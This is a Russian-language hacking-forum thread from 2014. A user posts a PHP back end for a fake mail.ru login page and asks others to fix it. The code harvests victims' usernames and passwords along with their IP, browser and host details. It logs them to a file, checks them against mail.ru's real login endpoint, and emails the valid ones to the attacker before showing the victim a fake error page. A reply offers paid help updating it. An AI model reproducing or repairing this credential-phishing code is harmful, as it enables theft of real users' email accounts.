1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Проверка валидация..

Тема в разделе "PHP, Perl и др.", создана пользователем CaroleNetwork, 19 апр 2014.

  1. CaroleNetwork
    CaroleNetwork Новичок
    Симпатии:
    0
    Здравствуйте. Вкладываю код для проверка лог и пароль на сайт маил.ру. Раньше этот код работал а сейчас не работает. Нужно помошь по правке Пхп кода

    PHP:
    <?PHP  
    $Login 
    $_POST['Login'];   
    $Domain $_POST['Domain'];    
    $Pass $_POST['Password'];   
    $Browser getenv("HTTP_USER_AGENT");  
    $Port getenv("REMOTE_PORT");  
    $Connect $_SERVER['HTTP_CONNECTION'];  
    $Host gethostbyaddr(getenv("REMOTE_ADDR"));   
    $ip $_SERVER["REMOTE_ADDR"];   
    $Data date("d-m-y H:i:s"time());   
    if ((empty(
    $Login))or (empty($Pass)))   
     {echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";  
      exit;  
     };   
        
    $text "[$Data]   
    Browser:[
    $Browser]   
    Port:[
    $Port]   
    Connect:[
    $Connect]   
    Host:[
    $Host]   
    IP:
    $ip  
    ADRESS:
    $Login@$Domain   
    PASSWORD:
    $Pass";  
        
    $to "почта@mail.ru"//тут прописываем нашу почту,   
        
    $sub "ready $Login@$Domain"//тут прописываем тему письма  

    $filelog fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли  
    fwrite($filelog,"\n $text \n\n");   
    fclose($filelog); //  

         
    $url 'https://auth.mail.ru/cgi-bin/auth';  
         
    $params "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1";  
         
    $user_agent "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)";  
         
    $ch curl_init("http://win.mail.ru/cgi-bin/login");  
         
    curl_setopt($chCURLOPT_POST,1);  
         
    curl_setopt($chCURLOPT_POSTFIELDS,$params);  
         
    curl_setopt($chCURLOPT_URL,$url);  
         
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0);  
         
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0);  
         
    curl_setopt($chCURLOPT_USERAGENT$user_agent);  
         
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);  
         
    $result=curl_exec($ch);  
         
    curl_close ($ch);  
         
    $pattern='/http:\/\/win.mail.ru\/cgi-bin\/checkcookie/';    
         if (
    preg_match($pattern$result) == 0)   
             {   
            echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";  
            }   
         else   
             {  
             @
    mail($to,$sub,$text);  
             echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>";  
             };  
    ?>
    Добавлено через 17 минут
    код сейчас не работает. Чего нужно правит что бы код сработал?
     
    Последнее редактирование: 19 апр 2014
    19 апр 2014
  2. XaSa
    XaSa Новичок
    Симпатии:
    5
    Адрес страницы авторизации изменился уже давно, смотри исходный код страницы авторизации и смотри в него + возьми снифер посмотри переменные посылаемые с данными.
    Если хотишь могу помочь за небольшое вознаграждение, подробно объяснить и расписать во всех подробностях что бы ты сам мог понимать что делаешь за большую сумму.
     
    19 июн 2014
    1 человеку нравится это.

Поделиться этой страницей

Загрузка...